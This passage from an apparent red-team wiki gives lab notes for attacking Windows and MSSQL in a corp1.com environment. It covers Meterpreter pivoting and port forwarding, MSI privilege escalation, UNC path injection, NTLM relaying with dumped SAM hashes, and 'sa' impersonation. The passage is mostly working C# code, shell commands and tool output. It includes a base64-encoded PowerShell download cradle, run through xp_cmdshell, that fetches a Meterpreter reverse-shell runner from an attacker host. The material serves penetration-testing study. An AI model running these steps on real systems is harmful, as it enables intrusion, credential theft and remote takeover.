&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
